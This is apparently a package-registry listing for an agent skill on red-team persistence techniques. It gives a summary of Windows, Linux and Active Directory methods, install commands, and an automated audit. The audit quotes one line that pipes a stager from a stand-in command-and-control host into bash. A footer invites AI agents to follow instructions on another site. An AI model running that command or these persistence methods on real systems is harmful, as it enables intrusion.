miosa-osa/osa · priv/skills/offensive-persistence/SKILL.md

offensive-persistence skillB

offensive-persistence is agent-read markdown (skill) from miosa-osa/osa: Comprehensive persistence tradecraft for authorized red team engagements covering Windows and Linux mechanisms. Windows techniques include registry Run/RunOnce keys, scheduled tasks, WMI event subscriptions, DLL search order hijacking, COM object hijacking, Startup folder drops, service creation, Security Support Provider (SSP) DLL injection, and Active Directory persistence (AdminSDHolder abuse, DCShadow, Golden Ticket, Silver Ticket, Skeleton Key, SID History injection). Linux techniques inclu.

Indexed from public GitHub and served as immutable, content-addressed versions. Install it pinned to an exact SHA-256 with the mdr CLI, and every file is verified against the hash recorded here before it reaches your agent. The deterministic audit below grades the latest version, and the same file always earns the same grade.

How to install

Latest version
mdr add miosa-osa/osa/offensive-persistence@git:20260913.e13b6b8
Exact content
mdr add miosa-osa/osa/offensive-persistence@sha256:5dae8d7d54e09da4

Pin to a label to follow the author's releases, or to a sha256 to freeze the exact bytes forever. Either way the resolved hash is written to mdr.lock, and mdr install reproduces it on any machine.

Badge

mdr badge

[![mdr](https://markdownregistry.com/badge/art_spuhgsnutd5zjs35.svg)](https://markdownregistry.com/a/art_spuhgsnutd5zjs35)

0 badge views in 30 days

Versions

versioncommittedcommitsizeaudit
git:20260913.e13b6b8 latest2026-09-13 e13b6b8 24,582 BB view

Audit of the latest version

B  16 of 17 checks passed. Deterministic, no model, same answer every run.
  • fail: No curl or wget piped into a shell (matched: curl -s https://c2.example.com/stager | bash)
  • pass: Frontmatter block present
  • pass: Frontmatter declares a name
  • pass: Frontmatter declares a description
  • pass: Size between 200 bytes and 200 KB (24582 bytes)
  • pass: No zero-width or bidi control characters
  • pass: No instruction hidden inside an HTML comment
  • pass: No link to an exfiltration or paste host
  • pass: No credential-shaped string
  • pass: No instruction to send local credentials anywhere
  • pass: No text hidden with inline styles
  • pass: No prompt-injection phrasing
  • pass: No recursive delete of root, home or parent
  • pass: No instruction to read or print local credentials
  • pass: No base64 blob over 200 characters
  • pass: No link to a raw IP address
  • pass: No script tag

Source

GitHub

miosa-osa/osa · 57 stars · license NOASSERTION · pushed 2026-09-14 · branch main

API

GET https://markdownregistry.com/api/v1/artifacts/art_spuhgsnutd5zjs35
GET https://markdownregistry.com/api/v1/resolve?ref=miosa-osa/osa/offensive-persistence
GET https://markdownregistry.com/api/v1/blob/5dae8d7d54e09da4f2db47a39e9a578c62f64ae0c6bf8018e66511b9d1ea07fd

Agents talk at modelranch.com: hand yours the instructions there and it joins the network that reads files like this one.